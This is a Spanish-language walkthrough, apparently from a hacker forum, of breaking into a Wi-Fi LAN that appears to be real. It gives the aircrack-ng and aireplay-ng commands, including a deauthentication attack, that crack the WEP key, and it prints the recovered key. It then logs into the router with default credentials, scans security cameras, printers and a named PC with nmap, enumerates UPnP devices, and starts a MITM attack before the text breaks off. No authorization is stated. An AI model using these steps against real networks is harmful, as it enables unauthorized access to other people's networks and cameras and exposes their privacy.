ENTRANDO EN LA RED
Sabemos que la red LAN que queremos atacar dispone de un router Wi-Fi con ESSID: WLAN_BE.
Este es el único dato que tenemos por ahora, por lo que centramos nuestro ataque en el AP de la red Wi-Fi con el objetivo de autentificarnos como clientes legítimos de la red.
Corremos Backtrack.
Comenzamos con un monitoreo general de las redes a nuestro alcance para localizar nuestro objetivo. Descubrimos que el AP está emitiendo en el canal 6 y que su dirección MAC es E0:90:53:4A:68:AA. Además averiguamos que la contraseña tiene una cifrado WEP.
airodump-ng wlan0
Monitoreamos el tráfico de la red para capturar IVs que nos permitan crackear la pass con aircrack-ng.
airodump-ng --bssid E0:90:53:4A:68:AA -c 6 -w wlan_be wlan0
Hacemos un ataque de falsa autenticación y nos asociamos con el AP para poder inyectar tráfico.
aireplay-ng -1 0 -a E0:90:53:4A:68:AA -h 00:11:22:33:44:55 -e WLAN_BE wlan0
Comenzamos a analizar paquetes buscando aquellos que contengan una petición de ARP para poder reinyectarlos. Al reinyectarlos provocamos que el AP tenga que emitir otro paquete ARP con un IV nuevo que capturamos con el airodump-ng. Este proceso es un bucle que se repite generando muchisimo tráfico.
aireplay-ng -3 0 -b E0:90:53:4A:68:AA -h 00:11:22:33:44:55 wlan0
Como no encontramos ningún paquete de ARP que reinyectar, lanzamos un ataque de desautenticación a un cliente legítimo para que al volver a autenticarse genere una petición de ARP que podamos capturar y reinyectar.
aireplay-ng -0 10 -a E0:90:53:4A:68:AA -c 9C:8E:99:33:4D:F0 wlan0
Crackeamos el password de la red mediante los IVs obtenidos que hemos guardado en el wlan_be.cap.
aircrack-ng wlan_be.cap
Ya tenemos el password de la red: XE091534A27BE
Nos conectamos a ella como si fuéramos uno más.
TANTEANDO EL TERRENO
Una vez que estamos dentro de la red, hacemos un "reconocimiento del terreno" para saber ante que nos encontramos. Para ello vamos a realizar un escaneo con el Nmap.
Primero ejecutamos el comando:
ifconfig
Esto nos sirve para saber que IP nos ha asignado el servidor DHCP, y así poder deducir en que rango de IPs nos estamos moviendo. Descubrimos que nuestra IP es 192.168.1.129 , por lo tanto sabemos que seguramente el servidor DHCP asigne las IPs dentro del rango 192.168.1.1-255.
Para confirmarlo y hacernos una idea general del mapa de la LAN realizamos un escaneo rápido con Nmap.
nmap -sP 192.168.1.1-255
La opción -sP le indica al Nmap que simplemente compruebe si los hosts estan up or down.
Resultado:
root@bt:~# nmap -sP 192.168.1.1-255
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-06-21 15:01 CEST
Nmap scan report for 192.168.1.1
Host is up (0.011s latency).
MAC Address: E0:91:53:4A:27:BE (XAVi Technologies)
Nmap scan report for 192.168.1.10
Host is up (0.033s latency).
MAC Address: 00:1B:11:01:30:95 (D-Link)
Nmap scan report for 192.168.1.13
Host is up (0.0060s latency).
MAC Address: 00:13:46:DB:B7:5C (D-Link)
Nmap scan report for 192.168.1.14
Host is up (0.071s latency).
MAC Address: 00:13:46:DC:2D:60 (D-Link)
Nmap scan report for 192.168.1.15
Host is up (0.54s latency).
MAC Address: 00:1C:F0:78:81:83 (D-Link)
Nmap scan report for 192.168.1.16
Host is up (0.17s latency).
MAC Address: F0:7D:68:05:A6:D0 (D-Link)
Nmap scan report for 192.168.1.17
Host is up (0.17s latency).
MAC Address: F0:7D:68:0A:87:5A (D-Link)
Nmap scan report for 192.168.1.18
Host is up (0.092s latency).
MAC Address: F0:7D:68:0A:87:49 (D-Link)
Nmap scan report for 192.168.1.19
Host is up (0.32s latency).
MAC Address: F0:7D:68:0A:86:C8 (D-Link)
Nmap scan report for 192.168.1.20
Host is up (0.53s latency).
MAC Address: F0:7D:68:0A:85:4B (D-Link)
Nmap scan report for 192.168.1.33
Host is up (0.0037s latency).
MAC Address: 00:26:24:75:5B:6F (Thomson)
Nmap scan report for 192.168.1.34
Host is up (0.0032s latency).
MAC Address: 00:10:DC:E4:EE:C0 (Micro-star International CO.)
Nmap scan report for 192.168.1.36
Host is up (0.0079s latency).
MAC Address: 9C:8E:99:33:4D:F0 (Hewlett-Packard Company)
Nmap scan report for 192.168.1.38
Host is up (0.25s latency).
MAC Address: 00:1F:1F:48:55:80 (Edimax Technology Co.)
Nmap scan report for 192.168.1.129
Host is up.
Nmap done: 255 IP addresses (15 hosts up) scanned in 14.13 seconds
Descubrimos que hay 15 máquinas conectadas mediante la WLAN y confirmamos nuestras sospechas de que el servidor DHCP asigna IPs en el rango 192.168.1.1-255 . Esto ya nos permite esbozar un mapa más o menos aproximado de la red.
La ip 192.168.1.1 corresponde seguramente al AP, osea al router, que parece ser un Xavii.
Vemos un rango de Ips 192.168.1.10-20 que corresponden a aparatos D-Link lo que es bastante llamativo.
Vemos otras IPs correspondientes a varios hosts.
Y por último vemos nuestra IP 192.168.1.129 que la descartamos del análisis.
Una vez que tenemos más o menos claro por donde nos movemos... vamos a ver que pasa con ese router.
EL ROUTER
En el escaneo anterior hemos visto que la IP del router era 192.168.1.1 .Esta vez vamos a realizar un escaneo más a fondo, buscando puerto abiertos, servicios, S.O... Para ello corremos el Nmap con los siguientes parámetros:
root@bt:~# nmap -sV -A 192.168.1.1
Nmap scan report for 192.168.1.1
Host is up (0.0065s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp Xavi 7768 WAP ftpd 1.00
23/tcp open telnet Zoom X6 ADSL router telnetd
53/tcp open tcpwrapped
80/tcp open upnp Conexant-EmWeb 6.1.0 (UPnP 1.0)
2800/tcp open upnp Conexant-EmWeb 6.1.0 (UPnP 1.0)
8008/tcp open upnp Conexant-EmWeb 6.1.0 (UPnP 1.0)
MAC Address: E0:91:53:4A:27:BE (XAVi Technologies)
Device type: broadband router|WAP
Running: Allied Data embedded, Belkin embedded, Intracom embedded, Iskratel embedded
OS details: Broadband router (Allied Data CopperJet, Belkin F5D7632-4, Intracom Jetspeed 500i, or Iskratel Sinope568 or Proteus932)
Network Distance: 1 hop
Service Info: Devices: WAP, broadband router
TRACEROUTE
HOP RTT ADDRESS
1 6.45 ms 192.168.1.1
Vemos que entre otras cosas en el campo del ftp el nmap nos dice que se trata del modelo Xavii 7768. Esto es una aproximación y seguramente no sea totalmente cierto, pero nos sirve.
Buscamos la documentación del router Xavii 7768 en internet http://www.adslayuda.com/xavi7768-cambiar_clave_acceso.html y vemos que el usuario y el password por defecto del router son 1234 y 1234 respectivamente. Es muy probable que no los hayan cambiado así que por probar que no quede.
Efectivamente no lo han cambiado. Ui, parece que alguien se ha dejado la puerta abierta.
Comprobamos que como habíamos supuesto antes no se trata del modelo Xavii 7768, sino del 7968 plus.
Y de repente en la pestaña de redireccionamiento de puertos...
BANG! Acabamos de descubrir que eran todos esos aparatos D-Link. Tenemos 9 cámaras con sus correspondientes IPs. Esto empieza a ponerse interesante...
Además sabemos que alguien se conecta a ellas desde el exterior de la red, ya que no tendría sentido haber configurado un NAT si no vas a acceder desde fuera del router.
Personalmente ODIO las interfaces http de los routers, me parece todo una maraña de opciones y pestañas, así que vamos a conectarnos al router por telnet para tener una consola con todas las opciones ordenaditas en blanco sobre negro...
root@bt:~# telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
,vvvdP9P???^ ,,,
vvd###P^`^ vvvvv v
vv#####?^ ????####vv,
vv####?? ,vvvdP???^ ,,, ??##^
v#####? ,vvd##P?^ #?#v#vvv
v#####? v###P^ ,vvv, '?#?,
######? ####?^ ,vd#P?^ `???##
#####? v#### ,d##P^ ''
###### v#### ]###L _ _ _ ___
#####? v#### ]##L / / \ |\ | |_ \/ /\ |\ | |
###### #### ]###L \_ \_/ | \| |_ /\ /--\ | \| |
?#####v ####v ]##h, ,,
?##### ?###h, `9#hv, ,vv###
###### #####L ]###L ,v#v'
?#####vv ?9##hv, ,,vvvv###'
?#####vv `??9P\vv, ^ vv##,
###### #######L
??###hvv, ,vvv#?##?????
`????9hdhvv,
Login: 1234
Password: ****
Login successful
-->
802.1x 802.1x port based authentication
acl snmp remote management
agent Get a file from a remote host
ald Configuration commands for ald
bridge Configure layer 2 bridge
classifier Packet classifier configuration commands
console Console access
dhcpclient DHCP client configuration commands
dhcpserver DHCP server configuration commands
dnsclient DNS client configuration commands
dnsrelay DNS relay configuration
emux Ethernet Switch Multiplex configuration commands
ethernet Commands to configure ethernet transports
firewall Firewall configuration commands
fullConeNat Full Cone NAT configuration commands
help Top level CLI help
igmp igmp configuration commands
imdebug Directly access the information model
ip Configure IP router
lan
logger Log to a remote host using syslog
meter Packet metering configuration command
nat NAT configuration commands
port Physical port configuration commands
pppoa PPP over ATM configuration
pppoe PPP over Ethernet Configuration
reboot reboot modem
restore_defaults set all configuration to factory setting
rfc1483 Commands to configure RFC1483 transports
save_and_exit SAVES changes closing telnet session
save_and_reboot SAVES changes and reboots modem.
save_config Save configuration
scheduler Configuration commands for scheduler
security Security configuration commands not specific to NAT or firewall
simpleconfig SimpleConfig Configuration commands
sntpclient Simple Network Time Protocol Client commands
stop
system System administration commands
transports Transport configuration commands
upnp UPnP configuration commands
user User commands
wanacl snmp remote management
webserver Webserver configuration commands
wpa Configure WPA (Wireless Protected Access)
zipb Configure Dynamic ZIPB mode
-->
Vaya... parece que se pueden hacer un par de cosas...
Pasemos a las camaras!
CAMARAS
Cuando intentamos acceder a alguna de las camaras por el puerto designado en la tabla del NAT se abre una ventana como esta solicitandonos un user y una pass.
Al no introducirla correctamente nos redirige a la siguiente pagina:
El siguiente paso es realizar un escaneo completo de las cámaras con Nmap.
CAMARA 1 IP 192.168.1.12
Según parece esta camara está offline, esto puede deberse a muchos motivos, que se estropeara, que la quitaran por decisión propia... La descartamos.
CAMARA 2 IP 192.168.1.13
Starting Nmap 5.61TEST4
Nmap scan report for 192.168.1.13
Host is up (0.0076s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp GNU Inetutils FTPd 1.4.2
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
554/tcp open rtsp?
| rtsp-methods:
|_ OPTIONS, DESCRIBE, PLAY, SETUP, TEARDOWN
1501/tcp open sas-3?
MAC Address: 00:13:46:DB:B7:5C (D-Link)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:kernel:2.4
OS details: Linux 2.4.18 - 2.4.35 (likely embedded)
Network Distance: 1 hop
Service Info: Host: Network-Camera
TRACEROUTE
HOP RTT ADDRESS
1 7.56 ms 192.168.1.13
CAMARA 3 IP 192.168.1.14
root@bt:~# nmap -sV -A 192.168.1.14
Starting Nmap 5.61TEST4
Nmap scan report for 192.168.1.14
Host is up (0.28s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp GNU Inetutils FTPd 1.4.2
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
23/tcp open telnet Openwall GNU/*/Linux telnetd
554/tcp open rtsp?
| rtsp-methods:
|_ OPTIONS, DESCRIBE, PLAY, SETUP, TEARDOWN
MAC Address: 00:13:46:DC:2D:60 (D-Link)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:kernel:2.4
OS details: Linux 2.4.18 - 2.4.35 (likely embedded)
Network Distance: 1 hop
Service Info: Host: Network-Camera; OS: Linux
TRACEROUTE
HOP RTT ADDRESS
1 281.05 ms 192.168.1.14
CAMARA 4 IP 192.168.1.15
root@bt:~# nmap -sV -A 192.168.1.15
Starting Nmap 5.61TEST4
Nmap scan report for 192.168.1.15
Host is up (0.11s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp GNU Inetutils FTPd 1.4.2
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
23/tcp open telnet Openwall GNU/*/Linux telnetd
554/tcp open rtsp?
| rtsp-methods:
|_ OPTIONS, DESCRIBE, PLAY, SETUP, TEARDOWN
1503/tcp open imtc-mcs?
MAC Address: 00:1C:F0:78:81:83 (D-Link)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:kernel:2.4
OS details: Linux 2.4.18 - 2.4.35 (likely embedded)
Network Distance: 1 hop
Service Info: Host: Network-Camera; OS: Linux
TRACEROUTE
HOP RTT ADDRESS
1 113.45 ms 192.168.1.15
CAMARA 5 IP 192.168.1.16
Host is up (0.27s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp?
443/tcp open ssl/http GoAhead-Webs embedded httpd
| ssl-cert: Subject: organizationName=D-LINK/stateOrProvinceName=Taiwan/countryName=TW
| Not valid before: 2010-02-05 08:14:40
|_Not valid after: 2015-02-04 08:14:40
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
| http-title: Document Error: Unauthorized
|_Requested resource was https://192.168.1.16:443/home.htm
MAC Address: F0:7D:68:05:A6:D0 (D-Link)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:kernel:2.6
OS details: Linux 2.6.13 - 2.6.31
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 271.54 ms 192.168.1.16
CAMARA 6 IP 192.168.1.17
root@bt:~# nmap -sV -A 192.168.1.17
Starting Nmap 5.61TEST4
Nmap scan report for 192.168.1.17
Host is up (0.34s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp?
443/tcp open ssl/http GoAhead-Webs embedded httpd
| ssl-cert: Subject: organizationName=D-LINK/stateOrProvinceName=Taiwan/countryName=TW
| Not valid before: 2010-02-05 08:14:40
|_Not valid after: 2015-02-04 08:14:40
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
| http-title: Document Error: Unauthorized
|_Requested resource was https://192.168.1.17:443/home.htm
MAC Address: F0:7D:68:0A:87:5A (D-Link)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:kernel:2.6
OS details: Linux 2.6.13 - 2.6.31
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 336.91 ms 192.168.1.17
CAMARA 7 IP 192.168.1.18
nmap -sV -A 192.168.1.18
Starting Nmap 5.61TEST4 ( http://nmap.org )
Nmap scan report for 192.168.1.18
Host is up (0.34s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp?
443/tcp open ssl/http GoAhead-Webs embedded httpd
| ssl-cert: Subject: organizationName=D-LINK/stateOrProvinceName=Taiwan/countryName=TW
| Not valid before: 2010-02-05 08:14:40
|_Not valid after: 2015-02-04 08:14:40
|_http-title: Requested resource was https://192.168.1.18:443/home.htm and no page was returned.
MAC Address: F0:7D:68:0A:87:49 (D-Link)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:kernel:2.6
OS details: Linux 2.6.13 - 2.6.31
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 338.75 ms 192.168.1.18
CAMARA 8 IP 192.168.1.19
root@bt:~# nmap -sV -A 192.168.1.19
Starting Nmap 5.61TEST4
Nmap scan report for 192.168.1.19
Host is up (0.66s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp?
443/tcp open ssl/http GoAhead-Webs embedded httpd
| ssl-cert: Subject: organizationName=D-LINK/stateOrProvinceName=Taiwan/countryName=TW
| Not valid before: 2010-02-05 08:14:40
|_Not valid after: 2015-02-04 08:14:40
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
| http-title: Document Error: Unauthorized
|_Requested resource was https://192.168.1.19:443/home.htm
MAC Address: F0:7D:68:0A:86:C8 (D-Link)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:kernel:2.6
OS details: Linux 2.6.13 - 2.6.31
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 655.43 ms 192.168.1.19
CAMARA 9 IP 192.168.1.20
root@bt:~# nmap -sV -A 192.168.1.20
Starting Nmap 5.61TEST4
Nmap scan report for 192.168.1.20
Host is up (0.36s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp?
443/tcp open ssl/http GoAhead-Webs embedded httpd
| ssl-cert: Subject: organizationName=D-LINK/stateOrProvinceName=Taiwan/countryName=TW
| Not valid before: 2010-02-05 08:14:40
|_Not valid after: 2015-02-04 08:14:40
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
| http-title: Document Error: Unauthorized
|_Requested resource was https://192.168.1.20:443/home.htm
MAC Address: F0:7D:68:0A:85:4B (D-Link)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:kernel:2.6
OS details: Linux 2.6.13 - 2.6.31
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 360.67 ms 192.168.1.20
Una vez escaneadas las camaras escaneamos el resto de IPs para hacernos una idea de que otros equipos hay en la WLAN.
192.168.1.33 IMPRESORA HP
root@bt:~# nmap -sV -A 192.168.1.33
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-06-21 20:10 CEST
Nmap scan report for 192.168.1.33
Host is up (0.0045s latency).
Not shown: 987 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Virata-EmWeb 6.2.1
|_http-title: HP Photosmart Wireless B109n-z
139/tcp open tcpwrapped
445/tcp open netbios-ssn
6839/tcp open tcpwrapped
7435/tcp open tcpwrapped
8080/tcp open http-proxy?
|_http-methods: No Allow or Public header in OPTIONS response (status code 404)
9100/tcp open jetdirect?
9101/tcp open jetdirect?
9102/tcp open jetdirect?
9110/tcp open unknown
9220/tcp open hp-gsg HP Generic Scan Gateway 1.0
9290/tcp open hp-gsg IEEE 1284.4 scan peripheral gateway
9500/tcp open ismserver?
MAC Address: F4:CE:46:EE:2C:E2 (Hewlett-Packard Company)
Device type: printer
Running: HP embedded
OS details: HP PhotoSmart C390 or C4780, or Officejet 7000 printer, HP printer: Photosmart 4300-, 6500-, 7200-, or 8100-series, or Officejet 6000-series
Network Distance: 1 hop
Service Info: Device: printer
Host script results:
|_nbstat: NetBIOS name: HPF4CE46EE2CE2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
TRACEROUTE
HOP RTT ADDRESS
1 4.55 ms 192.168.1.33
192.168.1.34 PC
root@bt:~# nmap -sV -A 192.168.1.34
Starting Nmap 5.61TEST4
Nmap scan report for 192.168.1.34
Host is up (0.0029s latency).
Not shown: 990 filtered ports
PORT STATE SERVICE VERSION
21/tcp open tcpwrapped
139/tcp open netbios-ssn
427/tcp closed svrloc
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
700/tcp open tcpwrapped
1073/tcp open tcpwrapped
2869/tcp open http Microsoft HTTPAPI httpd 1.0 (SSDP/UPnP)
6000/tcp open X11?
8000/tcp open http-alt?
8001/tcp open vcom-tunnel?
MAC Address: 00:10:DC:E4:EE:C0 (Micro-star International CO.)
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows XP|2003|2000 (98%)
OS CPE: cpe:/o:microsoft:windows_xp::sp2:professional cpe:/o:microsoft:windows_server_2003 cpe:/o:microsoft:windows_2000::sp4
Aggressive OS guesses: Microsoft Windows XP Professional SP2 (firewall enabled) (98%), Microsoft Windows Small Business Server 2003 (98%), Microsoft Windows XP SP2 (94%), Microsoft Windows 2000 SP4 (93%), Microsoft Windows XP SP3 (93%), Microsoft Windows XP Embedded SP2 (92%), Microsoft Windows XP SP2 or SP3 (92%), Microsoft Windows Server 2003 SP0 or Windows XP SP2 (91%), Microsoft Windows Server 2003 SP1 - SP2 (90%), Microsoft Windows Server 2003 SP1 or SP2 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: JACOBO, NetBIOS user: <unknown>, NetBIOS MAC: 00:10:dc:e4:ee:c0 (Micro-star International CO.)
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-security-mode:
| Account that was used for smb scripts: guest
| User-level authentication
| SMB Security: Challenge/response passwords supported
|_ Message signing disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| Computer name: Jacobo
| NetBIOS computer name: JACOBO
| Workgroup: debo
|_ System time: 2012-06-21 21:22:21 UTC+1
TRACEROUTE
HOP RTT ADDRESS
1 2.94 ms 192.168.1.34
192.168.1.36 IMPRESORA HP
root@bt:~# nmap -sV -A 192.168.1.36
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-06-21 20:43 CEST
Nmap scan report for 192.168.1.36
Host is up (0.033s latency).
Not shown: 985 closed ports
PORT STATE SERVICE VERSION
80/tcp open http?
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
139/tcp open tcpwrapped
445/tcp open netbios-ssn
631/tcp open ipp?
|_http-methods: No Allow or Public header in OPTIONS response (status code 404)
6839/tcp open tcpwrapped
7435/tcp open tcpwrapped
8080/tcp open http-proxy?
9100/tcp open jetdirect?
9101/tcp open jetdirect?
9102/tcp open jetdirect?
9110/tcp open unknown
9111/tcp open DragonIDSConsole?
9220/tcp open hp-gsg HP Generic Scan Gateway 1.0
9290/tcp open hp-gsg IEEE 1284.4 scan peripheral gateway
9500/tcp open ismserver?
MAC Address: 9C:8E:99:33:4D:F0 (Hewlett-Packard Company)
Device type: printer|power-device
Running: HP embedded, HP VxWorks, MGE embedded
OS CPE: cpe:/o:hp:vxworks
OS details: HP LaserJet CM1312 or Photosmart C510a printer, VxWorks: HP printer or MGE MX 5000 RT UPS
Network Distance: 1 hop
Service Info: Device: printer
Host script results:
|_nbstat: NetBIOS name: HP9C8E99334DF0, NetBIOS user: <unknown>, NetBIOS MAC: <unknown>
TRACEROUTE
HOP RTT ADDRESS
1 33.32 ms 192.168.1.36
192.168.1.38
Esta IP no tengo ni la más mínima idea de a que podría pertenecer xD si alguno de ustedes se imaginan de algo me avisais foro hacker xD
nmap -sV -A 192.168.1.38
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-06-21 20:55 CEST
Nmap scan report for 192.168.1.38
Host is up (0.49s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
2869/tcp closed icslap
2968/tcp open enpp?
MAC Address: 00:1F:1F:48:55:80 (Edimax Technology Co.)
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows XP|98|2000|NT|2003|PocketPC/CE (94%), HTC Windows PocketPC/CE (91%), Sony Ericsson Symbian OS 9.X (88%), Ness embedded (87%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_98 cpe:/o:htc:windows_ce cpe:/o:microsoft:windows_2000::sp1 cpe:/o:microsoft:windows_nt cpe:/o:microsoft:windows_server_2003 cpe:/o:sonyericsson:symbian_os:9 cpe:/o:microsoft:windows_ce
Aggressive OS guesses: Microsoft Windows XP SP3 (94%), Microsoft Windows 98 SE (92%), Microsoft Windows XP SP2 (91%), HTC Touch mobile phone (Windows Mobile 6) (91%), Microsoft Windows 98 (91%), Microsoft Windows XP Home SP2 (91%), Microsoft Windows XP Professional SP2 (91%), Microsoft Windows XP SP2 or SP3 (91%), Microsoft Windows 2000 SP1 (90%), Microsoft Windows NT 4.0 SP5 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 486.83 ms 192.168.1.38
Observamos que la MAC del host pertenece a Edimax Technology Co. http://www.edimax.es/es/index.php Basta una búsqueda en internet para averiguar que es una empresa que se dedica a la fabricación de dispositivos Wireless, entre ellos cámaras Wireless. Será otra cámara?
IP 192.168.1.10 ¿OTRO ROUTER?
.
nmap -sV -A 192.168.1.10
Starting Nmap 5.61TEST4
Nmap scan report for 192.168.1.10
Host is up (0.0072s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open tcpwrapped
23/tcp open telnet D-Link Access Point telnetd
80/tcp open tcpwrapped
443/tcp open tcpwrapped
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=HsinChu/countryName=TW
| Not valid before: 2004-07-12 09:02:20
|_Not valid after: 2024-07-12 09:02:20
| http-methods: Potentially risky methods: PUT
|_See http://nmap.org/nsedoc/scripts/http-methods.html
MAC Address: 00:1B:11:01:30:95 (D-Link)
OS details: WAP (Cisco Aironet 1010, D-Link DWL-2100AP or DWL-3200AP, Linksys WAP51AB or WAP55AG, Netgear WPN824, or Proxim ORiNOCO AP-4000M), Lights-Out remote server management, or ReplayTV 5500 DVR, Enterasys Matrix C1 switch or HP LaserJet 3600 printer
Network Distance: 1 hop
Service Info: Device: router
TRACEROUTE
HOP RTT ADDRESS
1 7.18 ms 192.168.1.10
Los resultados que obtenemos para esta IP son bastante interesantes, ya que según Nmap parace que nos encontramos frente a otro router. Esto rompería los esquemas que nos habíamos hecho en un principio sobre la composición de la red.
ETHERAPE
Para entender mejor como funciona la red y que hosts se comunican entre sí ejecutamos el Etherape.
Etherape es un programa que básicamente sirve para mapear el recorrido que siguen las comunicaciones en la red para así poder hacernos una idea de la estructura de la misma.
Esto es lo que obtenemos tras un rato ejecutando etherape:
Como se puede ver parece que la IP 239.255.255.250 se comunica constantemente con las IPs de las camaras de seguridad. Esto llama la atención, primero porque en nuestro primer escaneo con Nmap no habíamos detectado ese host, lo que hace pensar que se trata de un host externo a la red (más adelante veremos que esto no es así). Ejecutamos Nmap para intentar escanearlo.
root@bt:~# nmap 239.255.255.250
Starting Nmap 5.61TEST4
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 0.44 seconds
Efectivamente nos da como resultado host down.
Probamos con algo diferente, vamos a realizar un ping a la IP mientras corremos el Etherape para mapear el recorrido de los paquetes.
Esto es lo que obtenemos con Etherape+Ping:
IP 239.255.255.250 MULTIDIFUSIÓN UPnP
Como podemos ver, nosotros estamos mandando paquetes solamente a la IP 239.255.255.250 pero recibimos paquetes de respuesta de las IPs 192.168.1.1 192.168.1.13 192.168.1.14 192.168.1.15 . Esto significa que la IP 239.255.255.250 reenvía nuestros "paquetes de ping" a esas IPs, como puede verse en el mapeado de Etherape. Otro dato interesante es que en algunos paquetes aparece "DUP!", esto quiere decir que el paquete está duplicado, lo que nos indica que nos llegan varias respuestas iguales desde diferentes direcciones, osea, que el paquete que les llega a todos los hosts es el mismo paquete que nosotros envíamos a 239.255.255.250, por eso nos llegan respuestas repetidas.
Si investigamos un poco en internet http://sanmaikelnews.comze.com/?p=66, descubrimos que la ip 239.255.255.250 es una dirección de multidifusión utilizada por el protocolo UPnP. Los dispositivos que ofrecen servicios UPnP envian periódicamente NOTIFICACIONES SSDP al 239.255.255.250:1900, anunciandose a los clientes que están escuchando. Una NOTIFICACION SSDP contiene una cabecera de ‘Localización’ donde especifica la ubicación de un archivo XML. Este archivo XML contiene datos que indican, entre otras cosas, el tipo (s) de dispositivo UPnP y los servicios soportados por el host, así como rutas adicionales a otros documentos XML que describen los diversos servicios en detalle. Del mismo modo, los clientes UPnP pueden enviar requerimientos SSDP M-SEARCH al 239.255.255.250:1900 para ver si alguno de los dispositivos UPnP responde.
MIRANDA
Auditar dispositivos UPnP de manera manual es un proceso que requiere mucho tiempo y dedicación. Miranda es un script escrito en python que nos permite automatizar y acelerar considerablemente todo este proceso.
Su localización en la suite de backtrack es:
/pentest/enumeration/miranda
Corremos el script miranda.py
Lo primero que necesitamos es encontrar los hosts UPnP que existen en nuestra red:
upnp> msearch
Entering discovery mode for 'upnp:rootdevice', Ctl+C to stop...
****************************************************************
SSDP reply message from 192.168.1.17:8838
XML file is located at http://192.168.1.17:8838/rootdesc.xml
Device is running Cellvision UPnP/1.0
****************************************************************
****************************************************************
SSDP reply message from 192.168.1.16:8156
XML file is located at http://192.168.1.16:8156/rootdesc.xml
Device is running Cellvision UPnP/1.0
****************************************************************
****************************************************************
SSDP reply message from 192.168.1.20:8838
XML file is located at http://192.168.1.20:8838/rootdesc.xml
Device is running Cellvision UPnP/1.0
****************************************************************
****************************************************************
SSDP reply message from 192.168.1.19:8838
XML file is located at http://192.168.1.19:8838/rootdesc.xml
Device is running Cellvision UPnP/1.0
****************************************************************
****************************************************************
SSDP reply message from 192.168.1.1:2800
XML file is located at http://192.168.1.1:2800/WFADevice.xml
Device is running Unknown/0.0 UPnP/1.0 Conexant-EmWeb/R6_1_0
****************************************************************
****************************************************************
SSDP reply message from 192.168.1.15:11993
XML file is located at http://192.168.1.15:11993/description.xml
Device is running Embedded UPnP/1.0
****************************************************************
****************************************************************
SSDP reply message from 192.168.1.18:8838
XML file is located at http://192.168.1.18:8838/rootdesc.xml
Device is running Cellvision UPnP/1.0
****************************************************************
****************************************************************
SSDP notification message from 192.168.1.13:10242
XML file is located at http://192.168.1.13:10242/description.xml
Device is running Embedded UPnP/1.0
****************************************************************
****************************************************************
SSDP reply message from 192.168.1.14:10242
XML file is located at http://192.168.1.14:10242/description.xml
Device is running Embedded UPnP/1.0
****************************************************************
Después listamos los hosts descubiertos:
upnp> host list
- 192.168.1.17:8838 [1] 192.168.1.16:8156
[2] 192.168.1.20:8838
[3] 192.168.1.19:8838
[4] 192.168.1.1:2800
[5] 192.168.1.15:11993
[6] 192.168.1.18:8838
[7] 192.168.1.13:10242
[8] 192.168.1.14:10242
Nos damos cuenta de que son todas las cámaras + el router
-------------- CAPITULO EN CONSTRUCCIÓN --------------------
MITM
Para ejecutar el ataque MITM vamos a utilizar YAMAS, un script que permite automatizar considerablemente el proceso del ataque.
Para el primer ataque vamos a seleccionar como objetivo toda la red y vamos a redirigir el trafíco de los puertos 80 a ver que encontramos.
root@bt:~# yamas
No update available
Script is installed
`YMM' `MM' db `7MMM. ,MMF' db .M"""bgd
VMA ,V ;MM: MMMb dPMM ;MM: ,MI "Y
VMA ,V ,V^MM. M YM ,M MM ,V^MM. `MMb.
